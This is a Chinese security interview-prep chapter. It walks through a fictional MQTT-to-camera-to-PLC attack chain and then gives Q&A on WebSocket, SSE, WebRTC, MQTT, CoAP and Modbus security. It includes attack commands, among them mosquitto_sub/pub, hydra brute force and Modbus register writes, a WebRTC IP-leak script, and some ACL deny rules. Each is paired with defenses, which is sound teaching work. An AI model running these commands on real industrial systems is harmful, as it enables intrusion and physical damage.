本节是一个完整的攻击链串联,把第五章学到的所有协议串起来。 这是面试时被问“讲一个你见过的完整攻击链”时最值得讲的案例之一。

5.9.1 场景设定

某智能制造园区(虚构,但基于真实事件改编):

网络架构(设计者以为很安全):
  ┌──────────────────────────────────────────────┐
  │  互联网                                        │
  └────────────────┬─────────────────────────────┘
                   │ 防火墙(只开了 80/443/8883)
  ┌────────────────┴─────────────────────────────┐
  │  DMZ 区                                        │
  │    - Web 门户(对外)                          │
  │    - MQTT Broker(对外,8883/TLS)             │
  └────────────────┬─────────────────────────────┘
                   │ 内网防火墙
  ┌────────────────┴─────────────────────────────┐
  │  生产网(OT)                                  │
  │    - PLC × 50                                  │
  │    - 工程师站                                  │
  │    - MES 系统                                  │
  │    - 摄像头 × 200(在另一段,但与生产网互通)   │
  └──────────────────────────────────────────────┘

设计者的假设:
  "我们 MQTT 用了 TLS,而且 Broker 在 DMZ,生产网有防火墙,很安全。"

实际的漏洞:
  ① Broker 开了 TLS,但【允许匿名访问】(忘了配 allow_anonymous false)
  ② 生产网的 PLC 也连这个 Broker(从生产网主动连出来)
  ③ 摄像头网段和生产网互通
  ④ 摄像头用的是默认口令

5.9.2 攻击链(七步)

步骤 1:发现(1 分钟)
────────────────────────────────────────────
  Shodan 搜索:product:"MQTT" country:"CN"
  找到:mqtt.factory-example.com:8883  EMQX 4.4.3

  ↓

步骤 2:验证匿名访问(10 秒)
────────────────────────────────────────────
  mosquitto_sub -h mqtt.factory-example.com -p 8883 -t '#' -v \
      --cafile /etc/ssl/certs/ca-certificates.crt

  返回:Connection Code: 0    ← 匿名可连!

  ⚠️ 关键认知:TLS 只保护"传输过程",
     不解决"谁能连"的问题。加密 ≠ 认证。

  ↓

步骤 3:信息收集(5 分钟)
────────────────────────────────────────────
  ① 订阅 $SYS/# 拿设备清单
     → 1523 个在线客户端
     → 拿到 ClientID 规律:
       plc_line1_001, plc_line1_002, ...
       camera_yard_001, camera_yard_002, ...
       engineer_station_01

  ② 订阅 # 监听 5 分钟,记录所有活跃 Topic
     → plc/line1/plc001/telemetry    温度压力数据
     → plc/line1/plc001/command      ★ 指令 Topic
     → camera/yard001/status
     → mes/production/order

  ③ 分析指令格式(重点!)
     监听 command Topic,观察正常指令:
     {"cmd":"SET_SETPOINT","target":"TEMP_01","value":180}
     {"cmd":"START","target":"MOTOR_02"}
     {"cmd":"STOP","target":"MOTOR_02"}

  ↓

步骤 4:第一次试探(会不会被发现)
────────────────────────────────────────────
  不做破坏性操作,先发一条"无害"的指令试探:
    mosquitto_pub -h ... -t 'plc/line1/plc001/command' \
        -m '{"cmd":"READ_STATUS","target":"MOTOR_02"}'

  观察:
    - 有没有告警?没有
    - 设备有没有响应?有,返回了状态
    - 日志里有没有记录?不知道,但没人来找

  ⚠️ 攻击者通常会先做"低烈度试探",
     确认没被发现后再升级。这是 APT 的典型手法。

  ↓

步骤 5:横向移动 —— 从 MQTT 到摄像头
────────────────────────────────────────────
  从 $SYS 数据里看到摄像头的 ClientID:camera_yard_001
  推断内网 IP 段:$SYS 里记录了客户端 IP

  → 摄像头 IP 段:172.16.50.0/24
  → 用 MQTT 下发的配置 Topic 尝试修改摄像头配置
     mosquitto_pub -t 'camera/yard001/config' \
         -m '{"ntp_server":"172.16.30.5"}' -r
     (把 NTP 服务器指向攻击者控制的机器,为后续攻击做准备)

  → 直接扫摄像头网段的 554(RTSP)/ 80(HTTP)
     nmap -p 80,554,8000 172.16.50.0/24
     发现 200 台摄像头,其中大量是海康/大华

  → 用默认口令尝试
     hydra -L users.txt -P iot_passwords.txt \
           -t 4 172.16.50.0/24 http-get /ISAPI/Security
     结果:67 台用默认口令 admin:12345

  ↓

步骤 6:从摄像头到生产网
────────────────────────────────────────────
  ★ 关键发现:摄像头网段(172.16.50.0/24)
    和生产网(172.16.30.0/24)之间【没有隔离】
    (当初为了"方便调阅监控"放通了)

  拿下一台摄像头后:
    - 摄像头是 Linux 系统 → 拿到 root shell
    - 以摄像头为跳板,扫描生产网
      (在摄像头上跑 nmap,流量看起来像内网流量)

  发现:
    - 172.16.30.10  MES 数据库(MySQL 3306,弱口令 root/root)
    - 172.16.30.20  工程师站(3389 远程桌面开着)
    - 172.16.30.5   PLC 网关(502 Modbus!)

  ↓

步骤 7:拿下 PLC(物理影响)
────────────────────────────────────────────
  从摄像头跳板访问 PLC 网关(172.16.30.5:502)

  ① 先读:
     python modbus_tool.py 172.16.30.5
     → 读到保持寄存器 100 = 180(温度设定值)
     → 读到线圈 0-15 的状态

  ② 篡改(★ 关键决策点):
     攻击者有两个选择:
       A. 立即停机(写入 STOP 指令)
          → 立刻被发现,但破坏明显
       B. 缓慢篡改(把温度从 180 改成 195,每次 +2)
          → 产品合格率缓慢下降,可能被当成"设备老化"
          → 持续数周不被发现,损失更大

     真正的 APT 会选 B。

  ③ 掩盖痕迹:
     - 修改 HMI 上报的数据(让监控大屏显示 180,实际是 195)
     - 清理摄像头上的操作日志
     - 在 MES 数据库里删除相关记录

  最终结果:
     三周后,质检部门发现某批次产品强度不达标,
     追溯发现是温度设定值被篡改,但已经生产了 12 万件。
     损失:返工 + 报废 ≈ 800 万元。
     且至今不知道攻击者是谁(日志已被清理)。

5.9.3 复盘:防御方在哪里失守

┌────────────────────────────────────────────────────────────┐
│  失守点                          应该做什么                  │
├────────────────────────────────────────────────────────────┤
│ ① MQTT 匿名访问                  allow_anonymous false      │
│    (★ 根源,其他都是后果)        ACL 默认拒绝               │
│                                  禁止订阅 # 和 $SYS/#        │
├────────────────────────────────────────────────────────────┤
│ ② $SYS 泄露设备清单和 IP         禁用 $SYS 或限制访问        │
│    (给了攻击者地图)                                        │
├────────────────────────────────────────────────────────────┤
│ ③ 指令 Topic 无鉴权              每个 Topic 都要鉴权         │
│    (任何人能下发指令)           指令类 Topic 只允许平台账号 │
│                                  写,设备只读                │
├────────────────────────────────────────────────────────────┤
│ ④ 摄像头默认口令                 出厂强制改密 + 弱口令检测   │
│                                  设备准入控制                │
├────────────────────────────────────────────────────────────┤
│ ⑤ ★ 摄像头网与生产网互通         网络分段 / 微隔离           │
│    (★ 最致命,让攻击能横向)     VLAN + 工业防火墙           │
│                                  摄像头网段禁止访问 OT 网段  │
├────────────────────────────────────────────────────────────┤
│ ⑥ Modbus 无认证                 工业防火墙功能码白名单       │
│    (协议本身的缺陷)             源 IP + 功能码 + 地址范围   │
│                                  工控 IDS 基线告警           │
├────────────────────────────────────────────────────────────┤
│ ⑦ 无异常检测                    工艺参数异常告警             │
│    (三周才发现异常)             写操作实时告警              │
│                                  日志异地备份(防篡改)      │
├────────────────────────────────────────────────────────────┤
│ ⑧ 日志可被清理                  日志实时同步到 SIEM          │
│                                  WORM 存储(一次写多次读)   │
└────────────────────────────────────────────────────────────┘

★ 最重要的认知:
  这 8 个失守点里,任何一个被堵住,攻击链都会断。
  但全部都没有堵住 —— 这就是"瑞士奶酪模型":
  每道防线都有洞,当洞对齐时,攻击就穿透了。

  防御的思路不是"某一道防线做到完美"
  (做不到,总有漏洞),
  而是"让每道防线的洞不对齐"(纵深防御)。

5.9.4 面试话术(完整版)

问:讲一个你了解的完整攻击链,以及防御思路。

“我讲一个物联网场景的完整攻击链,这类攻击在制造业很典型。

入口是一台暴露在公网的 MQTT Broker。很多人以为配了 TLS 就安全了, 但 TLS 只解决传输加密,不解决身份认证。 这台 Broker 允许匿名访问,攻击者一条 mosquitto_sub -t '#' 就能订阅所有数据。

然后从窃听升级到控制。攻击者通过 $SYS 系统主题拿到了完整的设备清单、 真实 IP、上线规律——这等于拿到整个系统的地图。 再监听 command 类 Topic 学会指令格式,就能伪造指令下发给 PLC。

接着横向移动。从设备清单里发现摄像头网段, 用默认口令拿下一批摄像头(IoT 设备的经典问题), 然后发现摄像头网段和生产网之间没有隔离——这是整个链条里最致命的一环。 以摄像头为跳板进入生产网,最终通过无认证的 Modbus 协议篡改 PLC 的工艺参数。

最有意思的是最后一步:真正的 APT 不会立刻让产线停机, 因为那会马上被发现。他们会把温度设定值从 180 度一点点改成 195 度, 同时篡改上报数据让监控大屏显示正常值。 三周后才因为产品合格率下降被发现,这时候已经生产了十几万件废品。

防御上我觉得有三点值得说:

第一,入口要堵住——MQTT 必须禁用匿名、配 ACL、禁止订阅 # 和 $SYS/#。 这是性价比最高的一招,一条配置能拦住 90% 的扫描器。

第二,网络分段比什么都重要。摄像头网段和生产网互通, 这是把“丢几个摄像头”变成“停产三周”的根本原因。 微隔离做得好,即使丢了摄像头,攻击者也过不去。

第三,要能“看见”。工控协议本身没有认证,靠协议自身防不住, 所以必须做基线学习——工控流量高度规律, 出现从未见过的功能码、写入超出历史范围的值,都应该立即告警。

整体上这是瑞士奶酪模型:每道防线都有洞,我不指望哪一道做到完美, 但要保证洞不对齐。“


5.10 面试题 E 组:实时通信与 IoT 协议安全(30 题)

E. 基础题(1~12)


E1. WebSocket 和 HTTP 的本质区别是什么?为什么 WebSocket 更容易出安全问题?(难度 ★★)

答:

本质区别:

  1. 通信模型:HTTP 是请求-响应(一问一答),WebSocket 是全双工长连接(连上后双方随时发)
  2. 连接生命周期:HTTP 短连接(或 keep-alive 复用但仍是无状态请求),WebSocket 握手一次,持续数小时
  3. 协议升级:WebSocket 先用 HTTP 握手(101 Switching Protocols),之后换成 WebSocket 帧协议
  4. 服务端推送:HTTP 要轮询或长轮询,WebSocket 原生支持推送

为什么更容易出问题(四个“失效”):

安全机制 HTTP WebSocket 后果
WAF 能解析 HTTP 语义,检测 SQLi/XSS 握手后看不懂 帧内容完全裸奔
限流 按请求数(有效) 1 连接 = 1 请求,里面能发无限消息 消息洪水防不住
网关鉴权 每个请求都过鉴权 只在握手时鉴权一次 后续消息默认可信
访问日志 记录 URL/状态码 什么都不记 无法审计追溯

应对:

  • 应用层做消息级鉴权、限流、审计
  • 配置消息大小、连接数、空闲超时
  • supportsPartialMessages() 返回 false 防分片攻击

追问:那什么时候不该用 WebSocket? 答:只需要服务端单向推送时(AI 流式输出、通知、进度条),用 SSE 更简单—— 普通 HTTP、天然穿透代理、浏览器自动重连、支持 Last-Event-ID 断点续传,还不用改网关。


E2. WebSocket 握手时 Sec-WebSocket-Key / Accept 的作用是什么?它是安全机制吗?(难度 ★★★)

答:

计算方式:

Sec-WebSocket-Accept = base64(SHA1(客户端Key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))

那个 GUID 是 RFC 6455 规定的固定魔法字符串。

作用(只有一个):防止缓存投毒。

原理:如果服务器无脑对所有请求返回 101,中间的缓存服务器(CDN、代理) 可能把这个响应缓存成“这个 URL 返回 WebSocket 响应”, 其他用户请求同一 URL 就拿到错误内容。 有了 Key/Accept 计算,响应内容取决于请求,缓存服务器发现不匹配就不会缓存。

★ 它不是安全机制:

  • 任何 WebSocket 库都会自动算对,攻击者不需要手工算
  • 不提供认证(不知道你是谁)
  • 不提供授权(不知道你能做什么)
  • 不提供完整性(没有 MAC)

反面结论:“有 Key/Accept 校验所以 WebSocket 是安全的”是常见误解。 真正的认证要靠 Cookie/Token/ticket + Origin 校验。

追问:掩码(Mask)的作用是什么? 答:类似目的——客户端发给服务端的帧必须掩码(4 字节随机密钥异或), 防止恶意客户端构造看起来像 HTTP 请求的内容,骗过中间代理(缓存投毒)。 服务端必须校验 MASK 位为 1,否则拒绝,这是 RFC 的强制要求。


E3. 什么是 CSWSH?为什么 WebSocket 不受同源策略保护?怎么防?(难度 ★★★★)

答:

CSWSH(Cross-Site WebSocket Hijacking): 恶意网站用 JavaScript 建立到目标站点的 WebSocket 连接, 浏览器自动带上 Cookie,于是恶意站点能以受害者身份读写 WebSocket 数据。

为什么不受同源策略保护(两个原因):

  1. 同源策略管的是“读取响应”,不是“发起请求”。 恶意站点本来就能用 <img src> 发起跨域 GET,只是读不到响应。 但 WebSocket 建立后,恶意站点的 JS 能读到所有推送内容。
  2. WebSocket 没有 CORS 预检机制。 fetch/XHR 有预检,服务端说不允许浏览器就不给结果; WebSocket 直接连,浏览器不会拦截。

更麻烦的是:浏览器 WebSocket API 不能设置自定义请求头, 所以不能像 fetch 那样带 Authorization: Bearer xxx。 只能用 Cookie、URL 参数、或子协议。

防御(分层):

防御 针对场景 强度
Origin 校验 浏览器 ★★★★★
非 Cookie 认证(Token/ticket) 所有场景 ★★★★★
SameSite=Strict Cookie 浏览器 ★★★★
订阅归属校验 所有场景(最后防线) ★★★★★

Origin 校验的正确写法(严格三部分比对):

URI uri = URI.create(origin);
boolean ok = "https".equals(uri.getScheme())
          && "www.example.com".equals(uri.getHost())
          && uri.getPort() == 443;
// ❌ 绝对不要写 origin.contains("example.com")
//    会被 https://example.com.evil.com 绕过

★ 核心认知:Origin 校验只是门禁(非浏览器客户端可伪造 Origin), 订阅鉴权才是房间锁。即使攻击者连上了, 只要每个订阅频道都校验归属,他还是拿不到别人的数据。


E4. SSE 和 WebSocket 怎么选?SSE 有什么安全问题?(难度 ★★★)

答:

选型:

场景 选什么 理由
双向通信(聊天、协同编辑、游戏) WebSocket SSE 单向
服务端单向推送(AI 流式输出、通知、日志) SSE 更简单
需要二进制数据 WebSocket SSE 只能文本
网络环境差(老代理多) SSE 普通 HTTP,天然穿透
需要断线自动重连 SSE 浏览器原生支持

SSE 的五个安全问题:

  1. EventSource 不能设自定义头 → 只能用 Cookie(有 CSRF 风险)或把 Token 放 URL(进日志) 解法:Cookie + SameSite,或一次性 ticket,或用 fetch 手动实现 SSE

  2. 事件注入:SSE 是纯文本协议,data: xxx\n\n 分隔。 用户输入里有 \n\n 就能伪造出完整的新消息。 解法:data 用 JSON 序列化(换行变成 \n 字面量), 或多行文本每行单独加 data: 前缀

  3. Last-Event-ID 越权:不校验归属就能拿别人的历史消息 解法:补发查询必须带 userId 条件

  4. 代理缓冲:Nginx proxy_buffering on(默认)会攒够才发,SSE 变成“卡住不动” 解法:proxy_buffering off + gzip off + proxy_read_timeout 3600s

  5. HTTP/1.1 六连接限制:开 7 个标签页第 7 个就不动了 解法:HTTP/2(根治)/ 多子域名 / SharedWorker 共享连接

追问:SSE 和 WebSocket 在穿透代理上为什么有差别? 答:SSE 就是普通 HTTP 长连接,任何 HTTP 代理都认。 WebSocket 需要 Upgrade 头,老代理(特别是企业网的 HTTP/1.0 代理)不认, 会直接断开或缓冲。这也是 SSE 在企业环境更可靠的原因。


E5. WebRTC 的 STUN、TURN、ICE 分别是什么?(难度 ★★★)

答(用快递类比):

STUN(Session Traversal Utilities for NAT):

  • 作用:查询自己在公网上看起来是什么地址
  • 类比:你住在大楼里(NAT),STUN 服务器是前台,你问他“外面看我是什么地址”
  • 流量:只查地址,不中继数据(开销极小,几十字节)
  • 端口:3478

TURN(Traversal Using Relays around NAT):

  • 作用:直连失败时中转所有流量
  • 类比:实在联系不上,你把东西给中转站,中转站转交
  • 流量:所有数据都过它(带宽、钱!)
  • 端口:3478(UDP/TCP)、5349(TLS)

ICE(Interactive Connectivity Establishment):

  • 作用:收集所有可能的连接方式,逐个试,选能通的
  • 类比:手上有手机号、微信、邮箱、家庭地址,挨个试
  • 候选类型(按优先级):
    1. host —— 本机内网 IP(最快,只能内网直连)
    2. srflx —— STUN 反射的公网地址(需要 NAT 打洞)
    3. prflx —— 对端反射地址
    4. relay —— TURN 中继(最慢,但一定能通)

安全问题:

  • STUN 泄露公网 IP(即使挂 VPN,某些配置下真实 IP 仍会暴露)
  • host 候选泄露内网 IP(这是最著名的隐私问题)
  • TURN 被白嫖(无认证的话,别人拿它当免费中继/攻击跳板)

面试加分:WebRTC 的数据通道是强制加密的(DTLS-SRTP), 但信令通道(SDP 交换)由你自己实现,没有任何标准保护—— 这是 WebRTC 最薄弱的环节。


E6. WebRTC 为什么会泄露内网 IP?怎么防?(难度 ★★★★)

答:

原理: WebRTC 为了 P2P 直连,必须收集本机的所有网络接口地址(包括内网 IP), 这些地址作为 ICE 候选(host candidate)发送给对端。 而且不需要任何用户权限——不弹权限框,用户完全无感知。

攻击代码极简:

const pc = new RTCPeerConnection({
  iceServers: [{urls: 'stun:stun.l.google.com:19302'}]
});
pc.createDataChannel('');       // 触发 ICE 收集
pc.onicecandidate = e => {
  if (e.candidate) {
    // candidate 字符串里就有内网 IP
    console.log(e.candidate.candidate);
  }
};
pc.createOffer().then(o => pc.setLocalDescription(o));

用户只是打开网页,什么都不点,IP 就没了。

泄露的价值:

  • 真实公网 IP(绕过 VPN,这是最严重的)
  • 内网网段(为后续内网扫描提供目标)
  • 是否在用 VPN / 企业内网
  • 网络拓扑(多网卡、虚拟机、Docker)

为什么 VPN 挡不住: VPN 改的是默认路由,但 WebRTC 遍历所有网络接口, host 候选拿到的就是物理网卡的真实内网 IP。

防御:

方案 做法
浏览器插件 uBlock Origin 的 “Prevent WebRTC from leaking local IP”
Firefox about:config → media.peerconnection.ice.no_host = true
mDNS 混淆(Chrome 默认) 用随机 .local 域名代替真实 IP
应用侧 iceTransportPolicy: 'relay' —— 强制走 TURN,不暴露本地 IP

局限:mDNS 只对 host 候选有效,srflx(公网 IP)仍会泄露。


E7. MQTT 是什么?Topic 通配符 # 和 + 有什么区别?为什么 # 危险?(难度 ★★)

答:

MQTT:物联网最常用的发布/订阅消息协议,跑在 TCP 上,报文头最小 2 字节, 极省电省流量(对 NB-IoT、LoRa 这类按流量计费的场景很关键)。

三个核心概念:

  • Broker:消息中转站(邮局 / 广播站)
  • Topic:消息分类标签,用 / 分层(像电台频率)
  • Publisher / Subscriber:发布者 / 订阅者(互相不知道对方存在)

两个通配符:

通配符 含义 示例
+ 匹配单层 factory/+/dev1/temp 匹配 factory/line1/dev1/temp
# 匹配任意多层(必须在最后) factory/# 匹配 factory/anything/deep/path

为什么 # 危险: 单独订阅 # = 订阅整个 Broker 的所有消息。 一条命令就能拿到所有设备的所有数据:

mosquitto_sub -h broker -t '#' -v
# 温度、湿度、GPS 位置、门锁指令、工控指令... 全都有

防御:

# EMQX:禁止订阅 # 和 $SYS/#
{deny, all, subscribe, ["#"]}.
{deny, all, subscribe, ["$SYS/#"]}.
# 设备只能订阅自己的 Topic
{allow, {user, {re, "^device_.+$"}}, subscribe, ["devices/${username}/down/#"]}.

面试加分:Topic 设计要上下行分离: devices/{id}/up/telemetry(设备写,平台读) devices/{id}/down/command(平台写,设备读) 这样 ACL 才能精确控制——放一起就没法限制了。


E8. MQTT 的 QoS 0/1/2 有什么区别?QoS 2 为什么需要四次握手?(难度 ★★★)

答:

QoS 名称 白话 快递类比 报文次数
0 最多一次 发出去不管 平信 1
1 至少一次 没确认就重发 挂号信(可能重复送) ≥2
2 恰好一次 确保只送一次 签收单+回执 4

QoS 2 的四次握手:

Publisher                    Broker
   │── ① PUBLISH(qos=2) ────→│  存消息(暂存,不投递)
   │←─ ② PUBREC ─────────────│  我收到了,你别重发
   │── ③ PUBREL ────────────→│  你可以投递了
   │←─ ④ PUBCOMP ────────────│  完成,清理状态

为什么要 4 步(核心): QoS 1 的问题是:Publisher 超时重发 PUBLISH, Broker 可能收到两次 → 投递两次(所以叫“至少一次”)。

QoS 2 的解法:用 PUBREC 让 Publisher 知道“我收到了,别再发 PUBLISH 了”。 之后 Publisher 改发 PUBREL(“你可以投递了”), 而 PUBREL 是幂等的——重发多次效果一样。 双方都记录 pktId 状态,才能保证恰好一次。

QoS 与安全的关系(面试加分):

  • QoS 不是安全机制,是可靠性机制
  • QoS 2 开销最大(4 次往返),攻击者可用来消耗资源
  • QoS 1/2 需要 Broker 存未确认消息 → 发一堆不确认的消息能撑爆内存
  • 防御:max_inflight(限制未确认消息数)、 max_queued_messages(限制离线队列)、session_expiry_interval(强制过期)

E9. MQTT 的保留消息(Retained Message)是什么?有什么攻击价值?(难度 ★★★★)

答:

是什么:Broker 记住每个 Topic 的最后一条消息。 新订阅者一订阅,立刻收到这条,不用等下一条。

类比:正常消息 = 电台正在播的内容;保留消息 = “最新一期节目录音”, 你任何时候调到这个台都先给你放。

为什么设计它:设备上报的状态(“灯是开着的”), 新上线的 App 不用等设备下次上报,订阅瞬间就知道当前状态。

攻击价值(★ 在于“持久性”):

普通消息:发一条,只有当时在线的收到,发完就没了
保留消息:发一条,Broker 永久记住,之后每一个订阅者都会立刻收到
→ 投毒一次,持续生效

四种攻击:

  1. 配置投毒:devices/config/server 改成攻击者的服务器 → 所有设备数据外泄
  2. 状态欺骗:电机状态改成“正常运行” → 掩盖真实故障 → 事故
  3. 指令投毒:garage/door/command 设成 open → 设备每次上线都开门
  4. 删除配置:发空消息 + retain → 设备拉不到配置 → 变砖

防御:

  • Broker 层:retain_available = false(业务不需要就彻底关掉)
  • ACL:禁止设备对 command / config / control 类 Topic 发保留消息
  • 监控:定期扫描保留消息,比对基线,被篡改就告警
  • 设备端:配置必须验签 + 版本号单调检查

E10. 什么是 CoAP?它的放大反射攻击为什么比 DNS 放大更狠?(难度 ★★★)

答:

CoAP:受限设备的“迷你 HTTP”,跑在 UDP 上,头部只有 4 字节。 用于纽扣电池供电、NB-IoT/LoRa 这类极低功耗场景。

为什么不用 HTTP:TCP 三次握手耗电、TCP 头 20 字节对 127 字节 MTU 太大、 HTTP 头比消息体还大、必须保持连接耗电。

放大反射三要素(CoAP 全中):

  1. UDP 无连接 → 源 IP 可伪造
  2. 请求小、响应大 → 请求 4 字节头,响应几 KB,放大 10~500 倍
  3. 服务器不验证源 IP → 来者不拒

为什么比 DNS 更狠:

  • CoAP 请求更小(4 字节头 vs DNS 的十几字节)
  • /.well-known/core 规范规定要返回完整的资源列表,可以很大
  • Observe 订阅能造成持续性放大(不是一次性,是一直推)
  • 组播请求能一对多放大

防御(三层):

  1. 网络层(最根本):BCP 38 入口过滤——ISP 在边界丢弃源 IP 不属于本网段的包。 RFC 2827 是 2000 年的标准,但全球仍有约 30% 的 ISP 没部署。
  2. 服务器层:
    • 限制 /.well-known/core 大小(WELL_KNOWN_CORE_MAX_SIZE)
    • 限制响应大小(1KB 上限)
    • 启用 DTLS(★ 最有效——DTLS 要握手,握手收不到响应就无法伪造 IP)
    • 速率限制
  3. 受害者层:上游清洗、云高防、Anycast

E11. Modbus 协议为什么不安全?攻击者能做什么?(难度 ★★★)

答:

Modbus/TCP 报文里没有:

  • ❌ 认证(不需要用户名密码)
  • ❌ 加密(明文)
  • ❌ 完整性校验(改了不知道)
  • ❌ 防重放(录下来重发就行)
  • ❌ 序列号

1979 年设计,那时工业网络是物理隔离的,完全没考虑安全。

类比:HTTP 接口 = 银行柜台(要身份证、要签字、有监控); Modbus = 敞开的配电箱,标签写着“1 号开关”、“2 号开关”,谁都能拨。

危险功能码:

功能码 作用 危险等级 物理影响
0x01/0x02/0x03/0x04 读 🟡 信息泄露(知道哪些阀门开着)
0x05 写单个线圈 🔴 开/关继电器 → 电机启停、阀门开关
0x06 写单个寄存器 🔴 改设定值 → 温度、压力、转速
0x0F/0x10 批量写 🔴 整条产线停机 / 工艺全乱

攻击演示(靶场):

client.write_single_coil(0, True)      # 线圈 0 闭合 → 电机启动
client.write_single_register(100, 500) # 温度设定值改成 500(正常 180)

防御:靠协议本身没救,只能靠外围:

  1. 物理隔离(air gap)——唯一能防 Stuxnet 的方法
  2. 工业防火墙(能理解 Modbus,做功能码白名单)
  3. 单向网闸(数据二极管)
  4. 工控 IDS 基线学习(工控流量高度规律,异常即告警)
  5. 新系统用 OPC UA(内建证书认证 + 加密 + 签名 + 授权)

E12. 工控安全(OT)和传统 IT 安全的优先级有什么不同?为什么?(难度 ★★★★)

答:

传统 IT(CIA): ① Confidentiality 机密性(最重要) ② Integrity 完整性 ③ Availability 可用性

工控 OT(AIC,倒过来): ① Availability 可用性(产线不能停,停机 1 分钟 = 几十万) ② Integrity 完整性(参数被篡改 = 产品报废/设备损坏/人员伤亡) ③ Confidentiality 机密性(生产数据泄露相对没那么严重)

这个差异导致很多 IT 安全措施不能直接上:

IT 措施 为什么 OT 不能直接上
装杀毒软件 可能占资源导致 PLC 扫描周期超时 → 产线停机
打补丁 补丁可能让设备不稳定,工控系统常年不更新(有些还在跑 Windows XP)
重启 重启 = 停机 = 钱
主动扫描 Nmap 全端口扫描可能把老设备扫死机
频繁改配置 每次改动都要停机测试

工控安全的正确思路:

  1. 网络分段:IT 网 / DMZ / OT 网,工业防火墙隔离
  2. 协议白名单:只允许特定的 源 IP + 目标 IP + 功能码 + 地址范围 + 值范围
  3. 单向网闸:硬件保证只能单向传输
  4. 被动监测:不发包,只监听(tcpdump 式)→ 工控 IDS 基线学习
  5. 能看见比能拦住更重要:因为协议没认证,拦不住,所以必须能发现

面试加分:为什么工控 IDS 用基线学习特别有效? 因为工控流量高度规律——同样的设备每秒读同样的寄存器, 数值在固定范围内波动。这和 IT 网络的随机流量完全不同。 所以“出现从未见过的功能码”或“写入超出历史范围的值”就能高精度告警。


E. 进阶题(13~22)


E13. WebSocket 的限流应该怎么做?为什么传统的“每分钟 N 个请求”无效?(难度 ★★★★)

答:

为什么传统限流无效:

HTTP:   刷 1 万次 → 1 万个请求 → "每分钟 100 请求"拦截 ✅
WebSocket:建 1 条连接(算 1 个请求)→ 里面发 1 万条消息
          → 限流规则毫无反应 ❌

四个必须限的维度:

维度 限制 防什么
消息数(每秒) 10 条/秒/连接 消息洪水、刷屏
字节数(每分钟) 100KB/分钟 带宽耗尽
连接数(全局/单 IP/单用户) 50000/50/10 连接耗尽
消息大小 64KB 内存撑爆

补充维度:

  • 重复内容数:相同内容 1 分钟最多 3 次(防复制粘贴刷屏)
  • 违规次数:累积 5 次断开连接 + 封禁 10 分钟
  • 空闲超时:5 分钟无消息踢掉(防慢速攻击)

实现要点:

  1. 限流必须在应用层做(网关看不到 WebSocket 帧)
  2. 用 Redis Lua 保证原子性(读-判断-写三步,并发下必须原子)
  3. 计数器要清理(finally 里 decrement,异常时也不能泄漏)

配置(Spring):

container.setMaxTextMessageBufferSize(64 * 1024);   // 单条消息
container.setMaxSessionIdleTimeout(5 * 60 * 1000);  // 空闲超时
// 关键:不支持分片消息,直接消灭分片累积攻击
handler.setSupportsPartialMessages(false);

E14. WebSocket 的分片攻击(Frame Fragmentation DoS)是什么?怎么防?(难度 ★★★★)

答:

原理: WebSocket 的帧有 FIN 位表示“是不是最后一帧”。 攻击者可以:

发 FIN=0 的第 1 片(1 字节)
发 FIN=0 的第 2 片(1 字节)
...重复 1000 万次...
永远不发 FIN=1

服务端认为“消息还没结束”,只能一直缓存: 1MB → 10MB → 100MB → 1GB… 100 个这样的连接 = 服务器 OOM。

★ 最简防御:

@Override
public boolean supportsPartialMessages() {
    return false;    // 容器会在收完整条消息后才调 handleMessage
}

直接消灭分片累积——容器要么收完整条,要么超过 maxMessageSize 直接关连接。

其他可能撑爆内存的地方:

  • Payload len 可扩展到 64 位:可以声明 2^63 字节。 服务端不能预分配内存,必须边收边检查
  • opcode=0(续帧)但没有起始帧:协议错误,直接断开
  • MASK 位必须为 1(客户端→服务端):不掩码就是缓存投毒攻击,断开

配置兜底:

container.setMaxTextMessageBufferSize(64 * 1024);
container.setMaxBinaryMessageBufferSize(64 * 1024);
container.setMaxSessionIdleTimeout(5 * 60 * 1000);
container.setAsyncSendTimeout(10_000);

E15. 为什么 Token 不应该放在 WebSocket / SSE 的 URL 里?应该怎么做?(难度 ★★★)

答:

URL 里的 Token 会泄露到:

  1. Nginx access.log(默认记录完整 URL)
  2. 浏览器历史记录
  3. Referer 头(页面有外链时可能带出去)
  4. 服务端异常堆栈(打印 URL)
  5. 中间代理(公司网关、CDN)
  6. APM / 链路追踪(SkyWalking、Zipkin 会记录 URL)

而且 WebSocket/SSE 的 Token 通常长效(几小时),泄露窗口大。

为什么只能放 URL? 因为浏览器 API 限制:

  • new WebSocket(url, protocols) —— 第二个参数只能是子协议列表,不能设 headers
  • new EventSource(url, {withCredentials}) —— 只有一个选项

三种正确方案:

方案 A:Cookie + SameSite(最简单)

const ws = new WebSocket('wss://api/ws');   // 浏览器自动带 Cookie

服务端:Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax 前端必须配 Origin 校验(防 CSWSH)

方案 B:一次性 ticket(推荐)

1. fetch('/api/ws/ticket')  →  返回 60 秒有效、只能用一次的 ticket
2. new WebSocket('wss://api/ws?ticket=xxx')
3. 服务端 Lua 脚本原子地 GET + DELETE(防重放)

优点:Token 永不进日志;ticket 60 秒过期;只能用一次;可绑定 IP + UA

方案 C:子协议带 Token

new WebSocket('wss://api/ws', ['jwt', token]);

服务端解析 Sec-WebSocket-Protocol 的第二个值

方案 D(SSE 专用):用 fetch 手动实现 能设任意 header,但要自己实现重连、Last-Event-ID、解析


E16. MQTT Broker 的完整加固方案是什么?(难度 ★★★★)

答(分五层):

① 认证层

allow_anonymous false          # ★ 最重要的一行
listener 8883 0.0.0.0          # 只开 TLS 端口
require_certificate true       # mTLS(高安全场景)
  • MQTT 3.1.1 的用户名密码是明文传输的 → 必须配 TLS,否则抓包即得
  • 一机一密,不用全局共享密码
  • 固件里不硬编码可用凭据

② 授权层(ACL)

# 顺序匹配,deny 必须放前面
{deny, all, subscribe, ["#"]}.          # 禁止订阅全部
{deny, all, subscribe, ["$SYS/#"]}.     # 禁止系统主题
# 设备只能访问自己的 Topic(用 ${username} 变量)
{allow, {user, {re, "^device_.+$"}}, publish,   ["devices/${username}/up/#"]}.
{allow, {user, {re, "^device_.+$"}}, subscribe, ["devices/${username}/down/#"]}.
  • 默认拒绝(no_match = deny)
  • 上下行 Topic 分离(up/ vs down/)

③ 资源层(防 DoS)

max_connections 10000          # 最大连接数
message_size_limit 1048576     # 单条 1MB
max_inflight_messages 32       # 未确认 QoS1/2 消息数(防内存耗尽)
max_queued_messages 1000       # 离线队列
max_keepalive 65535

④ 保留消息

retain_available = false       # 业务不需要就关掉

或 ACL 禁止对 command / config 类 Topic 发保留消息

⑤ 监控

